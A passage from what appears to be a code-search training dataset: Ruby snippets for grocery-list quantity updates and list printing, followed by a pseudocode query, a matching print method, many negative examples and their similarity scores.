quantity\r\nend", "def change_quantity(list, item, qty)\n list[item] = qty\n list\nend", "def update_quantity(shopping_list, item, quantity)\n shopping_list[item] = quantity\nend", "def update_quanity(list, item, quantity)\r\n# input: list, item and quantity to be updated to\r\n# steps:\r\n # check if item exists\r\n # update quantity\r\n list[item] = quantity\r\n # print success \"your cart has been updated!\"\r\n puts \"The quantity for #{item.upcase} has been updated in your grocery list!\"\r\n p list\r\n# output: updated list with new quantity\r\nend", "def update_quantity (item,list, quantity)\n list[item] = quantity\nlist\nend", "def update_quantity(list,item,item_count)\n\tlist[item] = item_count\nend", "def update_quantity(grocery, item, update_quantity)\n if grocery.has_key?(item)\n grocery[item] = update_quantity\n end\n grocery\nend", "def change_quantity(list, item, new_qty)\n list[item] = new_qty\nend", "def update_quantity (list, item, quantity)\n list[item] = quantity\nend", "def update_quantity (list, item, quantity)\n list[item] = quantity\nend", "def add_groceries(list, item, qty = 1) \n #list.store(item, quantity)\n\tlist[item] = qty\n\tp list \nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\nend", "def update(item, quantity, list)\n\t# steps: if the item is in the list\n\tif list.include? item.to_sym\n\t\t# update the quantity\n\t\tlist[item.to_sym] = quantity\n\telse \n\t\tadd_item(item, quantity, list)\n\tend\n\t# output: return the updated list\n\tlist\nend", "def update_item (item, new_quantity)\r\n if $grocery_list.include? item\r\n $grocery_list[item] = new_quantity\r\n else \r\n puts \"that item is not in the list!\"\r\n end\r\nend", "def update_quantity(list, item, quantity)\nlist[item] = quantity\nlist\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity.to_i\n list\nend", "def update_quanity(list, item_name, new_quantity)\n\n\tlist[item_name] = new_quantity\n\tp list\nend", "def update_item(list, item, new_quantity)\n\tlist[item] = new_quantity\n\tlist\nend", "def update_quantity(grcy_list, string, i)\n # hash(key[value])\n grcy_list[string] = i\nend", "def update_quant (olist, item, quant)\n olist[item] = quant\n olist\nend" ]
[ "0.831808", "0.8193134", "0.8124504", "0.8051816", "0.8045623", "0.8045038", "0.80172306", "0.8003595", "0.8003595", "0.80034715", "0.798681", "0.7981079", "0.79737353", "0.7960213", "0.79327357", "0.792873", "0.7888591", "0.78861636", "0.7858827", "0.78580713", "0.78390515", "0.78321576", "0.78250873", "0.7763976", "0.775816", "0.77469045", "0.77313185", "0.76981807", "0.76650697", "0.7652727", "0.7642678", "0.7520519", "0.74586004", "0.74068147", "0.7399289", "0.7398016", "0.73688793", "0.73683655", "0.736157", "0.73597664", "0.73275584", "0.73273665", "0.7293045", "0.7293045", "0.7291954", "0.72872156", "0.7252514", "0.72145724", "0.72137254", "0.7211232", "0.72044086", "0.720055", "0.7169877", "0.7155042", "0.71467894", "0.71407574", "0.7133568", "0.71294093", "0.7111725", "0.70873505", "0.708572", "0.70848596", "0.70773983", "0.70773983", "0.7071358", "0.706857", "0.706857", "0.706378", "0.7060131", "0.70599186", "0.70545727", "0.70459634", "0.70327157", "0.7025764", "0.70204836", "0.70204836", "0.7017559", "0.70171225", "0.701422", "0.7013248", "0.70120585", "0.70072544", "0.69986165", "0.69954747", "0.69878966", "0.69789106", "0.69681317", "0.6954956", "0.69529843", "0.69529843", "0.6952208", "0.69463545", "0.69417137", "0.69406545", "0.69351435", "0.6932287", "0.69309455", "0.692916", "0.6914535", "0.6913771" ]
0.8507145
0
psuedocode make method that prints out list make list neat and readable output printed list
def print_do(groceries_list) groceries_list.each {|item, quantity| puts "#{item} : #{quantity}" } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_list; end", "def pretty_list(list)\n # new_list = \"\"\n # list.each { |item, quantity| new_list << \"You want #{quantity} #{item}\\n\" }\n # return new_list\n list.each { |item, quantity| puts \"You want #{quantity} #{item}\\n\" }\nend", "def lister(list)\n\tlist.each do |item|\n\t\tputs \"* #{item}\"\n\tend\nend", "def create_list(list)\n print_list(list)\n return list\nend", "def print(list)\n\tputs list\nend", "def display_list(list)\n\tlist.each do |list_item|\n\t\tputs \"* #{list_item}\"\n\tend\n\nend", "def listing(list)\n list.each {|item|puts \"* #{item}\"}\n print \"\\n\"\nend", "def print_list(list)\r\n# input: completed list\r\n# steps:\r\n # iterate over list and print formatted list\r\n puts \"Your Grocery List\"\r\n list.each do |item, quantity|\r\n puts \"#{item}, qty: #{quantity}\"\r\n end\r\n # format: each item with its own line\r\n # \"item - quantity\"\r\n# output: implicit return of list\r\nend", "def pretty_in_print(list)\n puts \"---------------------------------------\"\n puts \"These are the items we are gonna buy\"\n list.each {|item, qty| puts \"#{qty} pieces of #{item}\" }\nend", "def pretty_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"There are #{quantity} #{item} on the grocery list.\"\n\tend\nend", "def print_list(list)\r\n puts \"-\"*20\r\n list.each do |item,quantity|\r\n puts \"Item:#{item} quantity:#{quantity}\"\r\n end\r\n puts \"-\"*20\r\n list\r\nend", "def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end", "def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end", "def print_list(list)\n\tputs \"----- Shopping List -----\"\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\n\treturn list\nend", "def list_formatter(list)\n\tlist.each do |item, quanity|\n\t\tputs \"we need #{quanity} of #{item}\"\n\tend\nend", "def display (list)\n\tputs list\nend", "def prettify_list(list)\n\tlist.each do |item, quantity|\n\t\tp \"You have #{quantity} #{item}\"\n\tend\nend", "def print_list(list)\n\tputs \"\\nHere is the list:\"\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend", "def print_list(list)\n\tputs \"\\nHere is the list:\"\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend", "def print(list)\n list.each do |item|\n puts \"*#{item}\"\n end\nend", "def format_list(items); end", "def print_friendly_list(list)\n puts \n puts \"Shopping List:\"\n puts \"----------------\"\n list.each {|key, value| puts \"#{key} #{value}\" }\n puts \nend", "def pretty_list(list)\n\tlist.each { |item_name, item_quantity|\n\t\tputs \"You will need to purchase #{item_quantity} of #{item_name}.\"\n\t}\nend", "def pretty_list(list)\n list.each do |item,quantity|\n p \"#{item}! You have #{quantity}.\"\n end\nend", "def pretty_list(list)\n list.each do |item,quantity|\n p \"#{item}! You have #{quantity}.\"\n end\nend", "def pretty_list(list)\n list.each do |grocery_item, qty|\n puts \"#{grocery_item}, quantity: #{qty}\"\n end\nend", "def pretty_list(list)\r\n\tlist.each { |item, quantity| puts \"Item: #{item.capitalize} - Amount: #{quantity}\" }\r\nend", "def printlist(list) \n\tputs \"Today's Grocery List is:\"\n\tlist.map { |item| puts \"* #{item}\"}\n\t\nend", "def print_list (list)\n list.each do |item|\n puts \"* \" + item\n end\nend", "def print\n placeholder = @head\n list = \"\"\n while placeholder.next\n list += placeholder.data + \"\\n\"\n placeholder = placeholder.next\n end\n list += placeholder.data + \"\\n\" # the plus \"\\n\" added because of the way the spec is written.\n printf list\n end", "def prettify(list)\r\n\r\n list.each do |item, quantity|\r\n puts \"There are #{quantity} #{item} in the list.\"\r\n end\r\n\r\nend", "def print_list(list)\r\n # steps:\r\n # use each method to print the following: \"You have #{quantity} #{item_name}\"\r\n list.each do |name, quantity|\r\n puts \"You have #{quantity} of #{name}!\"\r\n end\r\n # output: -no output-\r\nend", "def list_to_print(title,list)\n line = \"\" \n 1.upto(title.size){line << \"-\"}\n title = title + \"\\n\" + line + \"\\n\"\n return title + (list.collect {|x| \" => #{x}\" }).join(\"\\n\")\n end", "def pretty_list(grocery_list)\r\n puts \"Your Grocery List for next week!\"\r\n grocery_list.each do |item, num|\r\n puts \"#{item} qty #{num}\"\r\n end\r\n \r\nend", "def pretty_list(list)\n list.each {|item, quantity| puts \"You need #{quantity} #{item}\"}\nend", "def print_list(list)\n\tputs \"This is what you need to buy:\"\n\tputs \"--------------------\"\n\tlist.each do |item, quantity|\n\t\tputs \" #{item} : #{quantity}\"\n\tend\n\tputs \"--------------------\"\nend", "def list_creator(list)\n\tsorted_list = list.sort\n\tsorted_list.each do |item|\n\tputs \"* \" + item\n\tend\nend", "def look_pretty(list)\n puts \"Here is your grocery list:\"\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend", "def print_list\n\t puts \"\"\n\t puts \"\"\n\t\tputs \"#{@list_name}\"\n\t\tprint \"-\" * 40\n\t\t@grocery_list.each {|k, v| puts \"#{k} #{v}\"}\n\t\tputs \"\"\n\t\tget_item\n\tend", "def to_s\n printed_list = \"\"\n @list.each do |item, quantity|\n printed_list += \"#{quantity} #{item}\\n\"\n end\n return printed_list\n end", "def output_list(foo)\n foo.each do |item|\n puts \"* \" + item\n end\nend", "def pretty_list(list)\n list.each{|food, quantity| puts \"Please get #{quantity} #{food}.\"}\n puts \"Thanks!\"\nend", "def print_list(list)\n\tlist.each do |x,y|\n\t\tputs x + \": \" + y.to_s\n\tend\nend", "def print_list(list)\n\tlist.each do |x,y|\n\t\tputs x + \": \" + y.to_s\n\tend\nend", "def print_list(list)\n\tlist.each do |item, quantity| puts \"#{item}: #{quantity}\"\n\t\t\n\tend\nend", "def print(list)\n# steps: \n\t# make a new string\n\tstring = \"This is the shopping list: \\n\"\n\t# iterate through the list\n\tlist.each do |item, quantity|\n\t\t# add the items and quantities to the string and end with a newline\n\t\tstring = string + \"#{item}: #{quantity} \\n\"\n\tend\n# output: the string\n\tputs string\nend", "def pretty_list(list)\n puts \"Grocery List:\"\n list.each do |key, value|\n puts \"#{value} #{key}(s)\"\n end\n \nend", "def pretty_list(list_name)\r\n list_name.each do |key, value|\r\n p \"#{key}: #{value}\"\r\n end\r\nend", "def print_list(list)\n\tlist.each do |item, qty|\n\t\tputs \"#{item} = #{qty}\"\n\tend\nend", "def print_list(list)\r\n puts \"Here is your current list: \"\r\n list.each do |item, quantity|\r\n puts \"#{item}: #{quantity}\"\r\n end\r\nend", "def print_list(list)\n\tlist.each do |item,quantity|\n\t\tp \"#{quantity} #{item}\"\n\tend\nend", "def print_list(list)\n\tlist.each do |iterator|\n\tputs \"#{iterator[:item].split.map(&:capitalize).join(' ')} - QTY #{iterator[:qty]}\"\n\tend\n\nend", "def print\n \tlist = ''\n \tcurrent = @head\n \twhile !current.nil?\n list = list + \"#{current.value}\"\n list = list + ' ' if current.next != nil \n current = current.next\n \tend\n \tlist\n end", "def show_list\n\t\tclear\n\t\tputs \"= LISTE DES INSTANCES #{name} =\".bleu\n\t\tputs \"\\n\\n\"\n\t\tlen_delim = defined?(LIST_ENTETE) ? LIST_ENTETE.length + 2 : 80\n\t\tdelim = (\"-\"*len_delim).bleu\n\t\tif defined?(LIST_ENTETE)\n\t\t\tputs delim\n\t\t\tputs LIST_ENTETE \n\t\tend\n\t\tputs delim\n\t\tall.each do |inst|\n\t\t\tputs \" #{inst.to_console}\"\n\t\tend\n\t\tputs delim\n\t\tputs \"\\n\\n\"\n\tend", "def print_list(list)\r\n puts \"_-\" *25 + \"\\n\\n\"\r\n puts \"Here is your Grocery List: \\n\\n\"\r\n list.each do |item, quantity|\r\n puts \"\\tItem: #{item} \\tAmount: #{quantity}\"\r\n end\r\n puts \"_-\" *25\r\nend", "def print_list(title,list)\n# steps:\n # print title of list (will ask user for this input)\n puts \"**********************\"\n puts \" #{title.upcase}:\"\n puts \"**********************\"\n # print headers of item and quantity\n puts \" # ITEM\"\n puts \"----------------------\"\n # print each item and it's quantity, bulleted if possible\n list.each {|item,quantity| puts \" #{quantity} #{item}\"}\n puts \"**********************\"\n # print today's date\n date = Time.new\n puts \" Made on: #{date.month}/#{date.day}/#{date.year}\"\nend", "def pretty_print(list,num)\n a = list.dup #otherwise slice! will eat your incoming list\n while a.length > 0\n STDERR.puts a.slice!(0,num).join(\" \")\n end\nend", "def pretty_print(list,num)\n a = list.dup #otherwise slice! will eat your incoming list\n while a.length > 0\n STDERR.puts a.slice!(0,num).join(\" \")\n end\nend", "def pretty_print(list,num)\n a = list.dup #otherwise slice! will eat your incoming list\n while a.length > 0\n STDERR.puts a.slice!(0,num).join(\" \")\n end\nend", "def pretty_print(list,num)\n a = list.dup #otherwise slice! will eat your incoming list\n while a.length > 0\n STDERR.puts a.slice!(0,num).join(\" \")\n end\nend", "def print_list(list_name)\r\n# input: hash name\r\n# steps: add dashes and spacing\r\np \"List:\"\r\nlist_name.each do |key, value|\r\n p \"#{key}: #{value}\"\r\nend\r\n# output: pretty hash listed\r\nend", "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"#{item.capitalize}: #{quantity}\"\n\tend\nend", "def print_list(list)\n list.each do |name, quantity|\n puts \"#{name} : #{quantity}\"\n end\nend", "def print_out(list)\n\tlist.each {|item, qty| puts \"#{item}; #{qty}\"}\nend", "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"We need #{quantity} #{item}\"\n\tend\nend", "def list; end", "def list; end", "def list; end", "def list; end", "def list; end", "def print_list(type='all')\n\n\t\tputs \"{#name} List - #{type} items\"\n\t\tprint '-' * 30 + \"\\n\"\n\n\n\n\t\ttodo_items.each do |item|\n\t\t\tcase type\n\t\t\twhen 'all'\n\t\t\tputs item\n\t\twhen 'complete'\n\t\t\tputs item if item.complete?\n\t\twhen 'incomplete'\n\t\t\tputs item unless item.complete?\n\t\tend\n\t\tend\n\tend", "def output_list (g)\n g.each do |i|\n p \"* \" + i\n end\nend", "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}, amount: #{quantity}\"\n\tend\nend", "def output_for items\n output = \"\"\n items.each_with_index do |item, position|\n output += \"#{position + 1}) #{item.type.capitalize}: #{item.details}\\n\"\n end\n output # Return the output to print (well, put) it\n end", "def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend", "def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend", "def pretty_print(list)\n list.each {|item, quantity| puts \"#{item} : #{quantity}\"}\nend", "def printable\r\n list = @@words.to_a.sort.map {|word,definition| \"[#{word}] \\\"#{definition}\\\"\"}\r\n list.join(\"\\n\")\r\nend", "def print_list(list)\r\n\tlist.each {|item, quantity| puts \"#{item}: #{quantity}\"}\r\nend", "def print_list\n $list.each {|list_item| puts \"#{list_item[:quantity]} #{list_item[:item]}\"}\nend", "def print_list(list)\r\n\r\n\tputs 'Shopping List'\r\n\r\n\tlist.each {|item, quantity| puts \"#{item}: #{quantity}\"}\r\n\t\r\n\tputs \"\"\r\n\r\nend", "def pretty_list(grocery_list)\n puts \"Shopping List\"\n grocery_list.each do |item, quantity|\n puts \"#{item}: #{quantity}\"\n end\n puts \"Happy Shopping!\"\nend", "def print_list(list)\r\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\r\nend", "def pretty(list)\n list.each {|item, quantity| p \"You need to buy #{quantity} of #{item}.\"}\nend", "def print_list(list)\r\n list.each do |list, qty|\r\n puts \"You need #{qty} #{list}\"\r\n end\r\nend", "def print_list(list)\n\tlist.each do |item,count|\n\t\tputs \"#{item}: #{count}\"\n\tend\nend", "def print_list(list)\n grocery_list = \"Grocery List\" + \"\\n\"\n\n list.each do |item, qty|\n grocery_list += \"#{item} : #{qty}\" + \"\\n\"\n end\n\n puts grocery_list\nend", "def print(list)\r\n\tlist.each do |grocery, q|\r\n\t\tputs \"There are #{q} #{grocery} on your list.\"\r\n\tend\r\nend", "def print_list(list)\n# input:list\n# steps: iterate through the list\n list.each do |item, number|\n puts \"we have #{number} #{item}\"\n end\n puts \"in our grocery list\"\nend", "def print_list(list_name)\n p list_name\nend", "def print_list(list)\n list.each do |item, quantity|\n p \"#{item}: #{quantity}\"\n end\nend", "def beautify_list(list)\n puts \"Grocery List\"\n puts \" Item: Quantity\"\n list.each do |list_item, item_quantity|\n puts \" #{list_item} : #{item_quantity}\"\n end\nend", "def print_list(list)\n\t# input: list\n\t# output: none\n\n\t# print header\n\tputs \"Grocery List\\n------------\"\n\t# iterate over list\n\tfor item, qty in list do\n\t\t# print each item to screen ex: \" - Lemonade, 2 liters\"\n\t\tputs \" - #{item}, #{qty}\"\n\tend\n\nend", "def printout (list)\n\tlist.each { |item, quantity| puts \"#{item} is #{quantity} \" } \nend", "def build_list\n students = input_students\n print_header\n print(students)\n print_footer(students)\nend", "def print_pretty(new_list)\n puts \"Grocery List:\"\n new_list.each do |item, amount|\n \n puts \"#{item}: #{amount}\"\n end\nend", "def print_list(list)\n puts \"Grocery List\"\n list.each { |item, qty| puts \"#{item}: #{qty}\" }\nend", "def print_list list\n list.each do\n |app|\n puts app[0]\n end\nend", "def print_list(list)\n list.each do |item, quant| \n puts \"Item: #{item}, Quantity: #{quant}\"\n end\nend", "def print_pretty(list)\n list.each { |item, value| puts \"#{item} #{value}\" }\nend", "def list(print=true)\n list = @agents.each_with_index.map do |a, i|\n \" \\033[33m# #{i}\\033[0m\\t#{a.name}\"\n end\n result = list.join(\"\\n\")\n puts result if print && !result.empty?\n result\n end" ]
[ "0.801073", "0.72937435", "0.72832114", "0.7249223", "0.72143286", "0.7159428", "0.71229535", "0.70943016", "0.7065394", "0.7054355", "0.7053778", "0.70313627", "0.70313627", "0.7021241", "0.70156485", "0.7000496", "0.69481677", "0.6940811", "0.6940811", "0.69324124", "0.6927673", "0.6918863", "0.6914094", "0.69100016", "0.69100016", "0.6891947", "0.6878036", "0.6875315", "0.68716294", "0.6852489", "0.68479383", "0.6827874", "0.68045735", "0.6798661", "0.6783916", "0.6777728", "0.6772761", "0.6769055", "0.67598826", "0.6758998", "0.67587525", "0.67575705", "0.674941", "0.674941", "0.67435044", "0.6740709", "0.6730278", "0.67188424", "0.6714919", "0.6702878", "0.6696756", "0.6690012", "0.66817766", "0.66623837", "0.6656779", "0.665609", "0.66543525", "0.66543525", "0.66543525", "0.66543525", "0.6649713", "0.66493666", "0.66462773", "0.6644661", "0.6640513", "0.6640049", "0.6640049", "0.6640049", "0.6640049", "0.6640049", "0.66386133", "0.6637203", "0.6635451", "0.6633837", "0.6627268", "0.6627268", "0.66214573", "0.6604887", "0.6597465", "0.65941364", "0.65925694", "0.6582779", "0.65792793", "0.65786856", "0.6575517", "0.6568134", "0.65681165", "0.6560162", "0.6547357", "0.65454936", "0.65444833", "0.6543886", "0.6535352", "0.6534048", "0.6533192", "0.6528556", "0.6526709", "0.6524918", "0.6523198", "0.65205806", "0.6520514" ]
0.0
-1
Retourne la valeur du qcm
def value return 3*level end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def qvaluestring\n\t\t# 3 digit precision, trim excess zeros\n\t\treturn sprintf( \"q=%0.3f\", self.qvalue ).gsub(/0{1,2}$/, '')\n\tend", "def fdr_q_value\n @fdr_q_value ||= @fields[6].to_f\n end", "def celcius\n self.to_c\n end", "def getvalue(str)\r\n value = 0\r\n if str\r\n if str.index('.mm')\r\n value = str.gsub('.mm','').to_f / 25.4 # to_l does not get it right when drawing is metric\r\n #puts \"mm to inch #{value}\"\r\n else\r\n if str.index('.inch')\r\n value = str.gsub('.inch','').to_f\r\n else\r\n if str == 'true'\r\n value = 1\r\n else\r\n if str == 'false'\r\n value = 0\r\n else\r\n value = str.to_f\r\n end\r\n end\r\n end\r\n end\r\n end\r\n return value\r\n end", "def get_value\n if @value == 'A'\n 11\n elsif @value == 'J' || @value == 'Q' || @value == 'K'\n 10\n else\n @value\n end\n end", "def celcius\n self.celsius\n end", "def quantum_number\n @l + @m + @n\n end", "def convert_q_to_phred33(q_value)\r\n return (q_value.round() + 33).chr\r\nend", "def quantity\n return @ucItemNumber.value\n end", "def currentQuarter\n value = nil\n sql = ActiveRecord::Base.connection();\n #value, dummy = sql.execute(\"SELECT MAX(enclaveQuarter), 0 FROM enclavequarters WHERE enclaveYear = #{self.currentYear}\").fetch_row\n value = sql.select_value(\"SELECT MAX(enclaveQuarter) FROM enclavequarters WHERE enclaveYear = #{self.currentYear}\")\n value\n end", "def currency_unit\n @currency_unit\n end", "def currency\n params['mc_currency']\n end", "def currency\n params['mc_currency']\n end", "def get_cout_total\n return (self.prix)\n end", "def mph\n return nil unless self.kmh\n self.kmh * KM_TO_MILE\n end", "def quality_val\n @valid_qualities[@quality]\n end", "def mass\n 10\n end", "def get_val()\n val = (@proteinas * 4) + (@lipidos * 9) + (@glucidos * 4)\n end", "def precio\n\t\t@precio\n\tend", "def mph\n \"#{(self * 1.15077945).round(1)} mph\"\n end", "def currency\n @ipn['mc_currency']\n end", "def quality\n return self.sendcmd(\"modem.get_quality\")\n end", "def current_quarter\n \n case self.month\n \n when 1..3 then 1\n when 4..6 then 2\n when 7..9 then 3\n else 4\n end\n \n end", "def get_cur_mth\n\treturn $cur_mth.to_i\nend", "def quarter\n (month / 3.0).ceil\n end", "def currency\n\tparams['mc_currency']\n end", "def max_mcq_score\n if self.exercise.is_mcq?\n sum = 0.0\n self.prompts.each do |question_prompt|\n question_prompt.specific.choices.each do |choice|\n sum += choice.value if choice.value > 0.0\n end\n end\n puts \"MAX MCQ SCORE\",sum,\"MAX MCQ SCORE\"\n return sum\n end\n end", "def to_q\n 1+(self/100.0)\n end", "def quarter\n (month / 3.0).ceil\n end", "def value(val)\n\tif val == \"K\"\n\t\treturn 10\n\telsif val == \"Q\"\n\t\treturn 10\n\telsif val == \"J\"\n\t\treturn 10\n\telsif val == \"A\"\n\t\treturn 11\n\telse\n\t\treturn val\n\tend\nend", "def valorvityminp\n\t\tvag=(vitymin * 70) / 100\n vag.round(2)\n end", "def quarter\n case merch_month\n when 7,8,9\n return 1\n when 10,11,12\n return 2\n when 1,2,3\n return 3\n else\n return 4\n end\n end", "def precio_mercado\n @serie.valor_primer_dia('precio')\n end", "def value\r\r\n @currency[:amount]\r\r\n end", "def celcius(fahrenheit)\n\t(fahrenheit - 32) * 5 / 9\nend", "def in_to_cm(inches)\n inches_to_centimeters = inches * 2.54\n puts \"Your measurement in centimeters is #{inches_to_centimeters} centimeters.\"\nend", "def qcks_max_slow_down\n Quicksands[terrain_tag][:max_slow_down] \n end", "def band_a\n 1000\n end", "def valor\n\t\tvalor_f\n\tend", "def showValue(quantity)\n ActionController::Base.helpers.number_to_currency(self.getValue(quantity), precision: 0, delimiter: \".\")\n end", "def in_celsius\n (@fahrenheit - 32) * (5.0/9.0)\n end", "def getQuo ( x , y )\n\tq = x / y\n\treturn q\nend", "def units\n @units = SQF.units @this\n @units\n end", "def ctof celcius\n\tcelcius.to_f*(9.0/5.0)+32\nend", "def getValue(quantity)\n if self.name.include?(\"BALDOSA\")\n self.value*quantity\n else\n self.value*1\n end\n end", "def in_fahrenheit\n @fahrenheit\n end", "def prec_i() end", "def get_prix_unitaire_unit\n return \"\" if self.unit.blank?\n return \"€/\" + self.unit\n end", "def in_to_cm(inches, cm)\n return inches.to_f * cm\nend", "def value(val)\r\n\tif val == \"K\"\r\n\t\treturn 10\r\n\telsif val == \"Q\"\r\n\t\treturn 10\r\n\telsif val == \"J\"\r\n\t\treturn 10\r\n\telsif val == \"A\"\r\n\t\treturn 11\r\n\telse\r\n\t\treturn val\r\n\tend\r\nend", "def systemOfUnits \n \"systemOfUnits\" \n end", "def to_cm length\n return nil if (length.nil? or length.size < 3)\n return length[0]*100 + length[1] + length[2]/10\n end", "def value\n # it is the real value, like 100, means R$1,00\n self.real_budget if read_attribute(:value)\n end", "def q(x, n, m)\n 1.0 - cdf(x, n, m)\n end", "def content\n [ppux, ppuy, unit == :meters ? 1 : 0].pack(\"NNC\")\n end", "def tenure_mth\n self.tenure*12\n end", "def in_celsius\n if @type == :c\n @temp\n else\n (@temp.to_f - 32.0) * (5.0/9.0)\n end\n end", "def in_celsius\n\t\tif(@unit.to_s == \"c\")\n\t\t\t@degree\n\t\telse\n\t\t\t(@degree - 32) * (5.0/9.0)\n\t\tend\n\tend", "def calculated_price\n msrp\n end", "def mp_rate\r\n mmp > 0 ? @mp.to_f / mmp : 0\r\n end", "def qty()\n 1\n end", "def cents\n @cents\n end", "def in_celsius\n \t@c ? @c : (@f - 32) * 5.0 / 9.0\n end", "def value\n return 10 if [\"J\", \"K\"].include?(@value)\n return 1 if \"A\" == @value\n return 0 if [\"Q\", \"JOKER\"].include?(@value)\n return @value\n end", "def valor_administracion\n\t\tarea * 2300\n\tend", "def handle_q_s\n next_tag # Q\n @quarter = @tokens[@index].get_tag(Scalar).type\n @number = @quarter\n @index += 1\n @precision = :quarter\n @unit = :quarter\n end", "def particlesQuality \n \"particlesQuality\" \n end", "def display_quantity\n product.allow_fractional_quantity? ? quantity : quantity.to_i\n end", "def value_from_units value, from_units = nil\n multiplier = if from_units.nil?\n if units.eql?('in')\n 1.0 / 72.0 # PDF units per inch\n else\n 25.4 * 1.0 / 72.0\n end\n elsif self.units.eql?(from_units)\n 1.0\n elsif self.units.eql?('in') && from_units.eql?('mm')\n (1.0 / 25.4)\n else\n 25.4\n end\n value.to_f * multiplier\n end", "def nouveau_prix\n nouveau_prix = 0\n if(!bouteille.nil?)\n nouveau_prix = bouteille.prix\n nouveau_prix = nouveau_prix * (1 - (rabais/100)) if rabais?\n end\n ActionController::Base.helpers.number_to_currency(nouveau_prix, unit: \"\", separator: \".\", delimiter: \"\", format: \"%n\")\n end", "def liquid_cube(volume_cuft, equiptype)\n return number_to_percentage(volume_cuft.to_f / Equipment.where(:equip_name => equiptype).first.cb_limit_cuft * 100, precision: 2)\n end", "def cents; end", "def height_cm\n return nil unless source_record['300']\n\n if source_record['300']['c'] =~ /(\\d{1,4}) ?cm(?:[\\. ]|\\Z)/\n return $1\n elsif source_record['300']['c'] =~ /(\\d{1,4}) ?in\\./\n # inches? why not convert to cm\n return $1.to_i * 2.5\n end\n\n return nil\n end", "def toC\n if @unit == 'F' then\n @unit = 'C'\n @value = 5.0 / 9.0 * (@value - 32.0)\n elsif @unit == 'R' then\n @unit = 'C'\n @value = 5.0 / 9.0 * @value - 273.15\n elsif @unit == 'K' then\n @unit = 'C'\n @value -= 273.15\n end\n self\n end", "def nominal_p_value\n @nominal_p_value ||= @fields[5].to_f\n end", "def fahrenheit_to_celsius(fahrenheit = 0.0)\n celsius = (5 * (fahrenheit - 32)) / 9\n \"the value #{fahrenheit} in fahrenheit is #{celsius}\"\nend", "def calculated_determinant\n # A arrondir à digit puis à mettre sous forme fractionnelle \n @equat.determinant.round(2)\n end", "def quarter_gpa(quarter = nil)\n t = transcripts.find(system_key, quarter.year, quarter.quarter_code_id) rescue nil\n raw_gpa = t.nil? ? nil : (t.qtr_grade_points/t.qtr_graded_attmp) rescue nil\n '%.2f' % raw_gpa rescue \"unknown\" \n end", "def co\n field_fetch('CO')\n end", "def autosizedReferenceCondenserFluidFlowRate\n\n return self.model.getAutosizedValue(self, 'Reference Condenser Water Flow Rate', 'm3/s')\n \n end", "def convert_inches_to_cm length\n in_to_cm = 2.54\n length * in_to_cm\nend", "def convert_inches_to_cm length\n in_to_cm = 2.54\n length * in_to_cm\nend", "def convert_inches_to_cm length\n in_to_cm = 2.54\n length * in_to_cm\nend", "def quantity_and_measurement\n result = \"#{self.quantity_in_stock} #{self.unit_of_measurement}\"\n if self.quantity_in_stock > 1\n result += \"s\"\n end\n result\n end", "def contabil\n if @quantia >= 0\n to_s \n else \n \"(\" + to_s[1..-1] + \")\" \n end \n end", "def current_price; self['CurrentPrice'].to_i; end", "def mph(cadence)\n # this may be imprecise/wrong so don't take my word for it....\n # BTW 63360 is the number of inches in a mile\n cadence*Math::PI*@wheel_size*(@chainring/@cassette[@gear_i])*60/63360\n end", "def get_distance_unit\n\t\t@kilometers\n\tend", "def celsius? = unit == 'celsius'", "def valorEnergetico\n\t\treturn @valorEnergetico*@cantidad\n\tend", "def value\n @value.to_f\n end", "def market_value\n mp = self.clearing_price\n mp * self.open_volume * self.instrument_multiplier * self.instrument_currency_exchange_rate\n end", "def value\n card_value = @rank\n if @rank == :A\n card_value = 11\n elsif @rank == :K || @rank == :Q || @rank == :J\n card_value = 10\n end\n card_value\n end", "def benchcafm\n @benchcafm =\n if @cafm_flag == 'Y'\n @framework_rates['M136'] * @benchsubtotal2\n else\n 0\n end\n end", "def prop_c\n bases_c / length.to_f\n end", "def print_value\n\t\t\treturn @value\n\t\tend", "def print_value\n\t\t\treturn @value\n\t\tend", "def denom()\n\t\treturn @den\n\tend", "def mx\n field_fetch('MX')\n end", "def qnum(d)\n\t\td = d.to_date\n\t\tif(d.month >= 2 && d.month <= 4)\n\t\t\treturn 1\n\t\telsif(d.month >= 5 && d.month <= 7)\n\t\t\treturn 2\n\t\telsif(d.month >= 8 && d.month <= 10)\n\t\t\treturn 3\n\t\telse\n\t\t\treturn 4\n\t\tend\n\tend", "def chp_potential_elec(val1 = total_mwh_ch4, val2 = 0.3)\n\t\t(val1 * val2).round 2\n\tend" ]
